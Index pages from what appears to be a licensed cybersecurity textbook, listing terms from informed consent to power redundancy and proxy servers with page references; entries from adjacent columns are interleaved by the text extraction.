LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 Index | I-19

informed consent, 14 internal controls, service intrusion prevention system

infrared connection methods, 359 organization control (SOC2), 12 (IPS), 270
infrastructure as a service (IaaS), internal threat intrusive (active) vulnerability
409, 410 actor/agent, 19 scanner, 60
infrastructure as code (IaC), 431 insider threats, 21‑22 invoice scams, 77
Infrastructure as Code concepts malicious, 19 Invoke-Command, 395
application programming risk management, 501 Invoke-Expression, 395
interfaces (APIs), 430 internal vs external disasters, 511 Invoke-WMIMethod, 395
edge computing, 432‑433 International Electrotechnical IoCs. see indicator of
fog computing, 432‑433 Commission (IEC), 11 compromise (IoC)
infrastructure as code International Organization for IP. see internet protocol (IP)
(IaC), 431 Standardization (ISO), 11 IP Flow Information Export
serverless architecture, Internet Control Message (IPFIX), 473
430‑431 Protocol (ICMP), 36‑37 IPS (intrusion prevention
service integration, 429‑430 Internet Edge, 216 system), 270
software-defined networking internet/guest zones, 220 IP scanners, network
(SDN), 431‑432 internet header, 471‑472 reconnaissance tools, 38
software-defined visibility Internet Key Exchange (IKE), IPSec. see Internet Protocol
(SDV), 432 307‑308 Security (IPSec)
ingress traffic filtering, 256 Internet Message Access iptables, 258‑259
inherent risk, 504 Protocol v4 (IMAP4), 297 IP theft, 444
initialization vector (IV), 100, 115 Internet of Things (IoT), 335‑336 IPv6, impacting premise
Initiative for Open internet protocol (IP) networks, 224
Authentication (OATH), 168 addresses, weak network IR blaster, 359
input validation, 383 configurations, 52 IRC (internet relay chat), 87
insider threats, 21‑22 filtering, 256 iris scan, 174
inSSIDer, 244 routing and switching IR sensor, 359
instance awareness, 421 protocols, 219 ISACs, 27
Instant Secure Erase (ISE), 554 schema, 531 ISO. see International
intangible assets, 510 Internet Protocol Security (IPSec) Organization for Standardization
internal threats, 19 Authentication Header (ISO)
integer overflow, 368 (AH), 305 ISOC best practice guide, data
Integrity Check Value (ICV), 305 Encapsulation Security acquisition, 490
integrity measurement, 401 Payload (ESP), 305 isolation-based containment,
integrity of evidence, 494 Layer 2 Tunneling Protocol 475‑476
intellectual property (IP), (L2TP), 308 ISSO, 4
440‑441, 501‑502 Security Associations (SA), IV (initialization vector), 100, 115
Intelligence-Driven Computer 307‑308 IV attacks, 245
Network Defense (Lockheed transport mode, 306
Martin), 459 tunnel mode, 306 J
intelligence fusion, 64‑65 internet relay chat (IRC), 87
jailbreaking, 353‑354
Intel Software Guard Extensions, interpreted language, Python, 392
jamming attacks, 245
448 intranet (private network)
JavaScript, 397
intent, of threat actors, 19 zones, 220
JavaScript Object Notation
intentional threat, 18 intrusion analysis
(JSON), 421
interactive logon, 154 cyber kill chain attack
jitter, 252
intercepting proxy, 261 framework, 459‑460
job rotation, 182
interconnection security Diamond Model, 461
journalctl, 469
agreement (ISA), 445 MITRE ATT&CK, 460‑461
Juice Shop, 13
interface endpoints, 424 intrusion detection system (IDS),
jump servers, 310‑311
Intermediate CA (hierarchical), 268‑269
Juniper, JunOS, 266
127‑128

Index

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 I-20 | Index

K ciphers, 98 Windows authentication,

Diffie-Hellman (D-H) key 154‑155
KALI, network reconnaissance
agreements, 107‑108 KNOX, 346
tools, 41
digital envelopes, 105‑106 Kubernetes cloud orchestration
KDC (Key Distribution Center),
entropy and weak keys, platform, 430
155‑156
114‑115
Kerberos
authentication
ephemeral session keys, L
107‑108
authentication and non- L2TP (Layer 2 Tunneling
key agreements vs. key
repudiation, 312 Protocol), 308
exchange, 107
Authentication Service, latency, 252
key Exchange, 105‑106
155‑156 lateral movement, pen test
Key Signing Key, 288
Key Distribution Center attack life cycle, 70
public and private key pairs,
(KDC), 155‑156 lateral movement/insider
100‑101, 311
secure network protocols, attack, 394
public zone signing, 287
288 layer 2 forwarding, 218
secret key, 99
Ticket Granting Service, layer 2 tunneling protocol
secure shell keys, 187
155‑156 (L2TP), 308
smart cards, 164
authorization, 156‑157 layer 3 forwarding, 218
symmetric cipher, 100
kernel vulnerabilities, 50 layer 4 load balancer, 249
Trusted Platform Module
Key Distribution Center (KDC), layer 7 load balancer, 249
(TPM), 164‑165
155‑156 layered security, 533‑534
unchangeable asymmetric
key encryption key (KEK), 321 LDAP Secure (LDAPS), 288‑289
private key, 318
key Exchange, 105‑106 least privilege, principle, 182
USB key, 164
key exchange/agreement legacy systems
Key Signing Key, 288
algorithm, 108 platform vulnerabilities, 51
key stretching, cryptographic
keylogger, 85‑86 risk management, 502
attacks, 117
key management legal department, incident
Key Usage attribute, 132
centralized key management, response (IR), 457‑458
kill chain, 459
137 legal hold, 485
kill switch, 349‑350
decentralized key legislation
Kismet, 244
management, 137 horizontal (consumer-
KMIP. see Key Management
devices for specific, cross-sector), 13‑14
Interoperability Protocol (KMIP)
hardware security vertical (sector-specific), 13‑14
knowledge-based authentication
module (HSM), 165 lessons learned phase, 457
authentication management,
smart cards, 164 lighting, site security, 541
161‑162
Trusted Platform Module Lightweight Directory Access
brute force attacks, 160
(TPM), 164‑165 Protocol (LDAP), 202, 288‑289, 379
Challenge Handshake
USB key, 164 Linux
Authentication Protocol
escrow, 138 authentication process,
(CHAP), 158
key recovery, 138 pluggable authentication
dictionary attacks, 160
key renewal, 138 module (PAM), 155
hybrid password attacks, 160
life cycle of, 137 Bourne Again Shell (Bash)
Kerberos authentication,
M-of-N control, 138 malicious indicators, 396
155‑156
see also certificate and key cat command, 278
Kerberos authorization,
management dcfldd, 493
156‑157
Key Management Debian OpenSSL, 114‑115
MS-CHAP, 158
Interoperability Protocol (KMIP), dig, 41
password attacks, 159‑160
318‑319 Dirty COW, 50, 368
Password Authentication
keys execution control, 394
Protocol (PAP), 157‑158
certificate and key file integrity monitoring
password crackers, 161
management, life cycle of, 137 (FIM), 272
rainbow table attacks, 160

Index

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 Index | I-21

file system permissions, 200 operational technology (OT) long term retention, 522
head and tail commands, 278 attacks, 248 lookalike domains, 79
ifconfig, 36 persistence, 250 looping statements
iptables, 258‑259 quality of service (QoS), 252 PowerShell, 393
journalctl, 469 scheduling, 250 Python, 391‑392
KALI, 41 site resiliency, 532 scripting, 390
logger command, 278‑279 source IP affinity, 250 loop prevention
memdump, 492 local replication, 422 Bridge Protocol Data Unit
mtr, 37 Local Security Authority (LSA), (BPDU) Guard, 230
Netcat, 46‑47 Windows authentication, 154 broadcast storm prevention,
OpenSSL local service accounts, 185 229
certificate and key location services Spanning Tree Protocol
management, 142 geofencing and camera/ (STP), 228
certificate signing request microphone enforcement, 351 low observable characteristics
(CSR), 142 geolocation, 350‑351 (LOC) attack, fileless malware, 85
root certificates, 141‑142 GPS tagging, 352 LSA (Local Security Authority), 154
ParrotOS, 41 location-based LTE Machine Type
reverse shell, 396 authentication, 152 Communication (LTE-M), 333
root accounts, 184‑185 location-based policies, 193 LulzSec, 20
SEAndroid, 347 Lockheed Martin whitepaper, lunchtime attacks, 77
Secure Erase (SE), 554 Intelligence-Driven Computer
Secure Shell (SSH), 311 Network Defense, 459 M
Security-Enhanced Linux, 347 lockout policy, 349
MAC
Security Module (LSM), 394 log files
address table, 228
service accounts, 186 application log files, 470‑471
cloning, 227
SSH commands, 313 authentication logs, 470
filtering, 230
tcpdump, 42‑43 network log files, 469
flooding, 228‑229
traceroute, 37 system and security logs, 469
limiting, 230
Ubuntu vulnerability scan outputs, 470
network interface hardware
RedHat Linux container, logger command, 278‑279
address, 218‑219
413‑414 logging platforms
MAC (mandatory access
root accounts, 185 journalctl, 469
control), 201
Volatility Framework, 492 NXlog, 469
MAC (message authentication
live acquisition, 492, 493 rsylog, 468
code), 109, 113
live off the land techniques syslog, 468
MacAfee
fileless malware, 85 syslog-ng, 468‑469
data loss prevention (DLP), 450
remote access Trojans (RATs), logic bombs, 89‑90, 416
SkyHigh Networks, 426
86‑87 logic controllers for embedded
machine/computer
load balancers systems, 332
certificates, 134
amplification attack, 247‑248 logic statements, 391‑392, 393
machine learning (ML)
application attacks, 247‑248 logon, 150
techniques, 31
clustering, 250‑251 logs
macros, 396‑397
distributed denial of service aggregation/banding
macro virus, 83
(DDoS), 247, 248‑249 technique, 277
“Magic Quadrant” reports, 328
DNS amplification attack, 248 collection
magnetic hard disk, 553
layer 4 load balancer, 249 agent-based, 276
mailbox access, 296
layer 7 load balancer, 249 listener/collector, 276
mail delivery agent (MDA), 472
network appliances, 217‑218 sensor, 276
Mail Exchanger (MX) record, 296
network redundancy, 518 syslog, 276
mail transfer, 296
Network Time Protocol (NTP), log reviews, 61‑62
mail transfer server, 217
247‑248 monitoring services, 275
mail user agent (MUA), 472
Long Term Evolution (LTE), 333

Index

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 I-22 | Index

malicious code indicators Obad Android Trojan mean time to repair (MTTR), 511
Bourne Again Shell (Bash) malware, 359 mean time to respond
malicious indicators, 396 process analysis, 90‑91 (MTTR), 479
credential dumping, 394 VM escaping, 414‑415 measured boot, 319‑320
lateral movement/insider Malware Information Sharing measurement systems analysis
attack, 394 Project (MISP), 27 (MSA), 323
macros, 396‑397 MAM (mobile device media sanitization, 552‑553
man-in-the-browser (MitB) management), 345 medical devices, 338
attack, 397 Managed Google Play, 352 memdump, 492
persistence malicious managed power distribution memorandum of understanding
code, 395 units (PDUs), 517 (MOU), 323
PowerShell malicious Managed Security Services memory leak, 368‑369
indicators, 395 Provider (MSSP), 411 memory management, 385
Python malicious indicators, management information base memory resident, viruses, 83
396 (MIB), 289 memory resident malware
shellcode, 394 management plane, 432 fileless malware, 84‑85
Visual Basic for Applications managerial security control, 8 worms, 84‑85
(VBA), 396‑397 mandatory access control (MAC) Memoryze, 492
malicious external threats, 19 authorization solutions, 201 Message Analyzer tool, 472
malicious internal threats, 19 execution control, 394 message authentication code
malicious process, memory Security-Enhanced Linux, 347 (MAC), 109, 113
resident virus, 83 mandatory vacation, 183 message digest algorithm
malware Mandiant’s APT1, 20 (MDA), 97‑98
advance tools against, 329 man-in-the-browser (MitB) metadata
guidelines for, 93 attack, 397 email metadata, 471‑472
malware-based attacks man-in-the-middle attack (MitM) file metadata, 471
bluetooth connection application log files, 471 mobile phone, 472
methods, 358 certificate pinning, 140 web metadata, 471
DLL injection, 369 cryptographic attacks, 116‑117 Metasploit, 45‑46, 91
domain generation algorithm DNS poisoning, 286 MFA (multifactor authentication),
(DGA), 91 firmware over the air 151
fast-flux, 91 updates, 361 MIB (management information
indicators of, 90 high latency indicating, 37 base), 289
malware classifications integrity and resiliency of micro segmentation, 225
adware, 85 data, 113 microservices, 429‑430
backdoors, 86‑87 mutual authentication Microsoft
cookies, 85 preventing, 157 Active Directory (AD), 288
crypto-malware, 89 near field communications Always-on VPN, 308‑309
fileless malware, 84‑85 (NFC), 360 App-V, 413‑414
keylogger, 85‑86 unsecure protocols, 52 Azure
logic bombs, 89‑90 mantraps, 543 Functions, 41
payload, 82 marketing team, incident Information Protection,
potentially unwanted response (IR), 458 440, 450
programs (PUPs), 82, 83 maximum tolerable downtime SQL Database, 409
ransomware, 88‑89 (MTD), 508‑509, 516 Virtual Machines, 409
remote access Trojans MDA (message digest Baseline Security Analyzer
(RATs), 86‑87 algorithm), 97‑98 (MBSA), 326
rootkits, 87‑88 MDM. see mobile device Challenge Handshake
spyware, 85 management (MDM) Authentication Protocol
Trojans, 82, 83 mean time between failures (CHAP), 158
viruses, 82, 83, 83 (MTBF), 510 Cloud App Security, 426
worms, 80, 82, 84‑85 mean time to failure (MTTF), 510 DNS services, 287

Index

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 Index | I-23

Edge, 470 application allow and remote wipe/ kill switch,

Hyper-V, 412 block lists, 478‑479 349‑350
Information Rights quarantine, 479 rooting, 353‑354
Management (IRM), 450 eradication and recovery, 476 mobile payment services,
Intune, 345, 346, 347, 348, firewall configuration 359‑360
352, 357 changes, 476‑477 mobile phone, metadata, 472
lifecycle policy, 322 incident containment, 475‑476 modes of operations
Office 365, 409, 449‑450 security orchestration, Additional Data (AEAD)
Post Office Protocol v3 automation, and response mode, 109
(POP3S), 297 (SOAR), 479 authenticated encryption, 109
Remote Connectivity MitM. see man-in-the-middle chosen ciphertext attack, 109
Analyzer, 472 attack (MitM) cipher suites, 108
Remote Desktop, 310, 413 Mitre, Common Vulnerabilities cryptographic concepts, 106
SDL, 383 and Exposures (CVE), 30 digital envelopes and key
Secure Sockets Tunneling MITRE Corporation ATT&CK exchange, 105‑106
Protocol (SSTP), 304 Framework, 460‑461 digital signatures, 104‑105
Security Compliance mobile access control systems message authentication code
Manager, 326 context-aware (MAC), 109
System Center Configuration authentication, 349 perfect forward secrecy,
Manager (SCCM), 327 screen lock, 349 107‑108
System Center products, 38 smartphone authentication, ModSecurity, web application
third-party risk management, 348‑349 firewalls, 273
322 mobile device deployment modules
Visual Basic for Applications models PowerShell, 393
(VBA), 396‑397 Bring Your Own Device Python, 392
Windows Server CA, 127 (BYOD), 344 M-of-N control, 138
microwave radio connection Choose Your Own Device moisture detection sensors, 550
methods (CYOD), 344 monitoring services
point-to-multipoint (P2M), 362 Corporate Owned, Business logs, 275
point-to-point (P2P), 361‑362 Only (COBO), 344 network monitors, 275
mine, logic bombs, 89 Corporate Owned, Personally- packet capture, 275
mirror port, 269‑270 Enabled (COPE), 344 motion detection alarm, 544
MISP, 27 virtualization, 344 motivation, of threat actors, 19
mission essential functions mobile device management MS-CHAP, 158
(MEF) (MDM) multi-cloud architecture, 408
maximum tolerable application management, multifactor authentication
downtime (MTD), 508‑509 352‑353 (MFA), 151, 420
recovery point objective carrier unlocking, 353‑354 multifunction printers
(RPO), 509‑510 content filter configuration (MFPs), 337
recovery time objective changes, 478 multimedia message service
(RTO), 509 content management, 353 (MMS), 360
risk management, 500 enterprise mobility multipartite, 83
work recovery time (WRT), 509 management (EMM), 345 multiparty risks, 501
mitigation controls external media, 350 multipath, disk redundancy, 519
adversarial artificial full device encryption, 350 multiple context virtual
intelligence, 480 jailbreaking, 353‑354 firewalls, 265
content filter configuration location services, 350‑352 multi-tenant cloud, 408
changes, 477‑478 mobile access control mutual authentication, 156‑157
endpoint configuration systems, 348‑349 MX (Mail Exchanger) record, 296
changes mobile device deployment
models, 344

Index

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 I-24 | Index

N destination NAT/port network directory lists, 288‑289

forwarding, 264‑265 network functions virtualization
NAC. see network access control
overloaded NAT/Network (NFV), 432
(NAC)
Address Port Translation network interface card (NIC)
Namespaces, 420
(NAPT)/Port Address teaming, 518
NAPT (overloaded NAT/Network
Translation (PAT), 264 network interface hardware
Address Port Translation)/Port
static and dynamic source (MAC) address, 218‑219
Address Translation (PAT), 264
NAT, 264 network layer (layer 3), 425
narrowband-IoT (NB-IoT), 333
network agents, 449 network log files, 469
NAT. see network address
network appliance platform, network mapping, 227
translation (NAT)
secure configuration guides, 12‑13 network monitors, 275
NAT gateway, 423
network appliances network operating system (NOS)
National Checklist Program
domain name system (DNS), firewall, 260
(NCP), 13
217‑218 network protocols. see secure
National Institute of Standards
firewalls, 217‑218 network protocols
and Technology (NIST). see NIST
load balancers, 217‑218 network reconnaissance tools
national laws, 14
routers, 217‑218 Address Resolution Protocol
nation state actors, 21
switches, 217‑218 (ARP) cache, 37
nation-state attacks, influence
wireless access points (WAP), curl, 42
campaigns, 82
217‑218 dnsenum, 41
native cloud application-aware
network architecture ifconfig, 36
firewalls, 425
business workflows, 217 ipconfig, 36
NAXSI, 273
east-west traffic Nessus, 42
ND (neighbor discovery), 38
considerations, 224 netstat, 40‑41
NDA (non-disclosure
IPv6, 224 Nmap Security Scanner
agreements), 182
network appliances, 217‑218 IP scanners, 38
near field communications
network segmentation, service discovery, 39‑40
(NFC), 359‑360
219‑220 nslookup/dig, 40‑41
neighbor discovery (ND), 38
network segregation, 220 ping, 36‑37
Nessus
network topology and zones route and traceroute, 37‑38
network reconnaissance
demilitarized zone (DMZ), scanless, 41
tools, 42
221‑223 theHarvester, 41
plug-ins, 59
screened hosts, 223 network redundancy
web management
zone networks, 220‑224 load balancers, 518
interface, 60
routing and switching network interface card (NIC)
Netcat, testing connectivity, 46‑47
protocols, 218‑219 teaming, 518
Netflix, 430
weakness of, 216 switching and routing, 518
netflow/IPFIX, 473
zero trust, 224‑225 networks, connectivity, route
Netskope, 427
network attached storage and traceroute, 37
netstat, network reconnaissance
(NAS), 527 network security appliances
tools, 40‑41
network-based intrusion firewalls
network access control (NAC)
detection systems (NIDS), 268‑269 access control lists (ACL),
hardware root of trust
network-based intrusion 262‑263
(RoT), 318
prevention systems, 270 firewall implementation,
port-based NAC (PNAC),
network data acquisition, 495 259‑260
231‑232
network data sources network address
posture assessment, 231
bandwidth monitor, 473 translation (NAT), 263‑265
unified endpoint
netflow/IPFIX, 473 open-source vs.
management (UEM), 345
protocol analyzer output, proprietary, 266
network address allocation,
472‑473 packet filtering
284‑285
sFlow, 473 firewalls, 256
network address translation (NAT)

Index

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 Index | I-25

stateful inspection host-related intrusion nfdump/nfsen, 473

firewalls, 257‑259 detection systems (HIDS), 272 NGFW (next-generation
virtual firewalls, 265 intrusion detection system firewalls), 271‑272
guidelines for implementing, (IDS), 268‑269 NIDS (network-based intrusion
281 intrusion prevention system detection systems), 268‑269
network security monitoring (IPS), 270 Nikto scanner, 59
anomaly-based detection, mirror port, 269‑270 NIST
271 network-based intrusion Computer Security Incident
behavioral-based detection systems (NIDS), Handling Guide, 456‑457
detection, 271 268‑269 cybersecurity framework
content filter, 272 network-based intrusion (CSF), 3, 10‑11
host-related intrusion prevention systems, 270 information security roles, 4
detection systems next-generation firewalls ISO 31K, 501
(HIDS), 272 (NGFW), 271‑272 National Checklist Program
intrusion detection signature-based detection, (NCP), 13
system (IDS), 268‑269 270‑271 National Vulnerability
intrusion prevention test access port (TAP), 269‑270 Database, 59
system (IPS), 270 web application firewalls, 273 risk management framework
mirror port, 269‑270 network segmentation, (RMF), 11
network-based intrusion 219‑220, 338 Risk Management
detection systems (NIDS), network segregation, 220 Framework (RMF), 501
268‑269 network service accounts, 186 Special publications, 11
network-based intrusion Network Time Protocol (NTP), Technical Guide to
prevention systems, 270 247, 289 Information Security Testing
next-generation firewalls network topology and zones and Assessment, 57
(NGFW), 271‑272 demilitarized zone (DMZ), see also Special Publications
signature-based 221‑223 (NIST)
detection, 270‑271 screened hosts, 223 Nmap Security Scanner
test access port (TAP), zone networks, 221 IP scanners, 38
269‑270 network traffic, 487 neighbor discovery (ND), 38
web application firewalls, network traffic analysis (NTA), 271 OS fingerprinting, 39‑40
273 network vulnerability scanner penetration tests, 69
proxy servers and gateways intrusive vs. non-intrusive, 60 port scan, 38
forward proxy servers, security assessments, 58 service and version
261‑262 network vulnerability tests detection, 39‑40
reverse proxy servers, 262 (NVTs), 59 service discovery, 39‑40
security information and New-Object, 395 Nohl, Karsten, 321
event management (SIEM) New-Service, 395 noise detection alarm, 544
analysis and report next-generation endpoint nonce, 115
review, 277‑278 protection non-credential scans, 61
file manipulation, 278‑279 endpoint detection and non-disclosure agreements
grep command, 279 response (EDR), 328‑329 (NDA)
log collection, 276‑277 next-generation firewall onboarding policies, 182
monitoring services, 275 integration, 329 organizational security
regular expression (regex) next-generation firewall agreements, 323
syntax, 279 integration, 329 personally identifiable
network security monitoring next-generation firewalls information (PII), 441
anomaly-based detection, 271 (NGFW), 271‑272 service level agreement
behavioral-based next-generation secure web (SLA), 445
detection, 271 gateway, 427 non-intrusive (passive)
content filter, 272 NFC. see near field vulnerability scanner, 60
communications (NFC) non-persistent environment, 528

Index

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 I-26 | Index

non-persistent (session) secure transmission of hping, 44‑45

cookies, 374 credentials, 181 OpenSSH, 311
non-repudiation, 2, 111‑112 training/policies, 181 OpenSSL, 141
non-transparent proxy, 261 one-time password (OTP) Open Stack, 409
nonvolatile storage media, 493 HMAC-based One-Time OpenVAS scan engine, 58, 59
normalization, string inputs, 383 Password Algorithm (HOTP), Open VPN, 303‑304
NOS (network operating system) 168‑169 Open Vulnerability and
firewall, 260 Time-Based One-Time Assessment Language (OVAL),
nslookup/dig, network Password Algorithm 63
reconnaissance tools, 40‑41 (TOTP), 169 Open Web Application Security
NTA (network traffic analysis), 271 onion routing, 25 Project (OWASP), 13
NT LAN Manager (NTLM) online backups, 526 operational security control, 8
authentication, 154 online CAs, 128 operational technology (OT)
NTLM (NT LAN Manager) Online Certificate Status attacks, 248
authentication, 154 Protocol (OCSP), 139‑140 operational technology (OT)
NTP (Network Time Protocol), online password attacks, 159 network, 333
247, 289 on-path attack, 227 opportunistic threats, 19
null pointer dereference, 368 On the Go (OTG), 360 Oracle Cloud, 409
NVTs (network vulnerability OOB. see out-of-band (OOB) Oracle Database, 409
tests), 59 Opal Storage Specification, 321 Oracle VirtualBox, 411
NXlog, 469 open authentication orchestration, cloud service
HMAC-based One-Time integration, 430
O Password Algorithm (HOTP), order of restoration, 527‑528
168‑169 order of volatility, 490
OASIS CTI framework, 29‑30
Initiative for Open organizational security
OATH (Initiative for Open
Authentication (OATH), 168 exploitation frameworks,
Authentication), 168
secure wireless 45‑46
OAuth (Open Authorization)
infrastructure, 239‑240 neighbor discovery (ND), 38
protocols, 205‑206
Time-Based One-Time Netcat, 46‑47
Obad Android Trojan
Password Algorithm network reconnaissance
malware, 359
(TOTP), 169 tools
obfuscation/camouflage code,
Open Authorization (OAuth) Address Resolution
386‑387
protocols, 205‑206 Protocol (ARP) cache, 37
obfuscation techniques, integrity
Open ID Connect (OIDC), 206 curl, 42
and resiliency of data, 113
open permissions, weak host dnsenum, 41
OCSP (Online Certificate Status
configurations, 52 ifconfig, 36
Protocol), 139‑140
open ports and services, weak ipconfig, 36
OCSP responder, 139‑140
network configurations, 52 IP scanners and Nmap, 38
offboarding policies, 183
Open Shortest Path First Nessus, 42
offline backups, 526
(OSPF), 219 netstat, 40‑41
offline CAs, 128
open-source firewalls, 266 nslookup/dig, 40‑41
offline password attacks, 159‑160
open source intelligence (OSINT) ping, 36‑37
offsite storage, 526
AT&T Security, 27 route and traceroute,
Off-the-Record (OTR), 458
active reconnaissance, 69 37‑38
OIDC (Open ID Connect), 206
Malware Information Sharing scanless, 41
O.MG cable, 321
Project (MISP), 27 service discovery and
Onboard Diagnostics (OBD-II)
Spamhaus, 28 Nmap, 39‑40
module, 338
theHarvester, 41 theHarvester, 41
onboarding policies
VirusTotal, 28 packet analysis, 43‑44
asset allocation, 181
open-source spoofing tool packet capture, 42
non-disclosure agreements
denial of service (DoS), 45
(NDA), 182

Index

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 Index | I-27

packet injection and replay, P horizontal brute force

44‑45 online attacks, 159
P7B format, 141
protocol analysis, 42‑43 hybrid password
PAC (Protected Access
tcpdump, 42‑43 attacks, 160
Credential), 243
traffic analysis, 43‑44 offline password attacks,
packet analysis
organizational security 159‑160
defined, 42
agreements, 323 online password
Wireshark, 43‑44
OS (operating systems), 50 attacks, 159
packet capture, 275
OS-based execution control, password spraying, 159
packet filtering firewalls
393‑394 plaintext/unencrypted
access control lists (ACL), 256
OSI la, 258 password attacks, 159
stateless operations, 256
OSI Layer 4 (transport layer), rainbow table attacks, 160
packet injection and replay
257‑258 Password Authentication
hping, 44‑45
OSI Layer 7 (application layer), 258 Protocol (PAP), 157‑158
tcpreplay, 45
OSINT (Open Source Password Authentication
packet sniffer, 69
Intelligence), 27, 28, 41, 69 Protocol Key Exchange
Pacu, exploitation frameworks, 46
OSPF (Open Shortest Path (PAKE), 238‑239
pagefile, 492‑493
First), 219 password-based account
PAIN. see Privacy, Authentication,
OSSIM SIEM, 276 access mechanisms, 154
Integrity, Non-Repudiation
OT (operational technology) Password-Based Key
(PAIN)
attacks, 248 Derivation Function 2
PAKE (Password Authentication
OTP. see one-time password (PBKDF2), 117
Protocol Key Exchange), 238‑239
(OTP) policies, 183‑184, 192‑193
PaloAtlo PANOS, 266
out-of-band (OOB) spraying, 159
PAM (pluggable authentication
communication, 465 vault, 162
module), 155
management, 310 patch management
PAM (privileged access
mechanisms, 170 host security solutions,
management), 202
outputting encoding, 383‑384 326‑327
PAP (Password Authentication
outsource code development, software vulnerabilities, 50‑51
Protocol), 157‑158
third-party risks, 55 zero-day vulnerability, 51
paper document destruction,
OVAL (Open Vulnerability and pathping, network
552‑553
Assessment Language), 63 reconnaissance tools, 37
Parallels Workstation, 411
overflow vulnerabilities payload classifications
parameters, 390
buffer overflow, 367 ransomware, 82
ParrotOS, network
integer overflow, 368 remote access Trojans
reconnaissance tools, 41
overloaded NAT/Network (RATs), 82
passive (non-intrusive)
Address Port Translation (NAPT)/ rootkits, 82
vulnerability scanner, 60
Port Address Translation spyware, 82
passive reconnaissance, 69‑70
(PAT), 264 Payment Card Industry Data
passphrase, 150
over-the-air (OTA), 361 Security Standard (PCI DSS), 14,
pass the hash (PtH) attack,
overwriting, 553 442, 504
369‑370
OWASP (Open Web Application PBKDF2 (Password-Based Key
passwords
Security Project) Derivation Function 2), 117
crackers, 161
buffer overflow, 367 PCI DSS. see Payment Card
key, 162
regulations, 13 Industry Data Security Standard
manager
Software Assurance Maturity (PCI DSS)
password key, 162
Model, 383 PEAP (Protected Extensible
password vault, 162
Web Application Security Authentication Protocol), 242
password attacks
Risks, 387 PEM (Privacy-enhanced
brute force attacks, 160
ownership factor, 150 Electronic Mail), 140
dictionary attacks, 160
penetration testing
attack life cycle, 70

Index

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 I-28 | Index

attack profile physical port security and MAC PKCS (Public Key Cryptography
black box, 68 filtering Standards), 129
gray box, 68 Dynamic Host Configuration PKCS #12 format, 141
white box, 68 Protocol (DHCP) snooping, 230 PKI. see public key infrastructure
bug bounty, 68 MAC filtering, 230 (PKI)
defined, 67 MAC limiting, 230 places in the network (PIN)
exercise types, 68‑69 physical security controls SAFE architecture, 216
passive and active guidelines for, 556 Wi-Fi protected setup
reconnaissance, 69‑70 host/environment security (WPS), 239
rules of engagement, 67‑68 data sanitization tools, plaintext, 96, 159
percent encoding, 373 553‑554 platform as a service (PaaS),
performance limitations, Faraday Cages, 550 409, 410
cryptographic weaknesses, fire detection and playbook, 459, 479
113‑114 suppression, 551‑552 Play Protect, 347
permissions policies, 421 hot/cold aisles, 551 plenum, 551
persistence, pen test attack life HVAC, 550 pluggable authentication
cycle, 70 protected distribution, 550 module (PAM), 155
persistence malicious code, 395 secure areas, 548‑549 plug-ins, 59
persistent (closed) cookies, 374 secure data destruction, PNAC. see port-based NAC
persistent storage acquisition, 493 552‑553 (PNAC)
personal area networks (PANs), site security point-to-multipoint (P2M), 362
357, 358‑359 alarm systems and point-to-point (P2P), 361‑362
personal health information sensors, 543‑544 point-to-point protocol (PPP), 304
(PHI), 441‑442 barricades and entry/exit point-to-point tunneling
personal identification number points, 541 protocol (PPTP), 303
(PIN), 150, 154 cable locks, 543 policy server, 449
personally identifiable fencing, 541 polymorphic viruses, 83
information (PII), 441 gateways and locks, POP3S (Post Office Protocol
personally owned device use, 209 542‑543 v3), 297
person-made disasters, 511 industrial camouflage, 541 POP3S (Secure POP), 297
personnel policies for privilege lighting, 541 port-based NAC (PNAC)
management mantraps, 543 IEEE 802.1x port-based NAC,
job rotation, 182 physical access 166
least privilege, principle of, 182 controls, 540 network access control
mandatory vacation, 183 physical attacks of smart (NAC), 231‑232
separation of duties, 182 cards and USB, 543 port filtering/security, 256
pfSense reception personnel and port scan
firewall rule configuration, 258 ID badges, 546 Nmap Security Scanner, 38
Internet Key Exchange security guards and scanless, 41
(IKE), 307 cameras, 544‑545 positive air pressure, 550
log parser, 277 site layout, 540‑541 POST (forms mechanism), 292
Open VPN, 303‑304 piggy backing, 76 post-incident activities phase, 457
PGP (Pretty Good Privacy), PIN (personal identification Post Office Protocol v3
134, 152 number), 150, 154 (POP3S), 297
pharming, 79 PIN (places in the network), post-quantum cryptographic
phishing campaigns, 77‑78, 210 216, 239 technology, 120‑121
physical access controls, 540 pinch point failures, 216 posture assessment, 231
physical controls, 9, 10 Ping of Death, 248 potentially unwanted programs
physical locks, 542 pinning, digital certificates, 140 (PUPs), 82, 83
physically secure cabled pivoting, pen test attack life power redundancy
network, 550 cycle, 70 batter backups, 517
dual power supplies, 517

Index

LICENSED FOR USE ONLY BY: ATUL MALHOTRA · 8375311 · MAY 05 2022
 Index | I-29

generators, 518 private cloud, 408 protected access credential

managed power distribution private keys (PAC), 243
units (PDUs), 517 asymmetric encryption, protected distribution system
uninterruptible power 100‑101 (PDS), 550
supplies (UPSs), 517 authentication and non- protected extensible
PowerShell repudiation, 111‑112 authentication protocol
abnormal process behavior confidentiality of, 112‑113 (PEAP), 242
analysis, 91 digital certificates, 106 protocol analysis, organizational
malicious indicators, 395 digital envelopes and key security, 42‑43
penetration testing, 70 exchange, 106‑107 protocol analyzer output, 472‑473
script environment digital signatures, 104‑105 Protocol ID/type, 256
cmdlets, 392‑393 man-in-the-middle attack protocol smuggling, 381
functions, 392‑393 (MitM), 116 protocols/ports, restricting, 22
logic statements, 393 perfect forward secrecy, provisioning control, 401
looping statements, 393 107‑108 proximity alarm, 544
modules, 393 public key cryptography proximity reader, 542
PPP (Point-to-Point Protocol), 304 algorithms, 101 proxy servers and gateways
PPTP (Point-to-Point Tunneling security of, 164 forward proxy servers,
Protocol), 303 symmetric encryption, 99 261‑262
pre-action fire suppression, 552 unchangeable asymmetric reverse proxy servers, 262
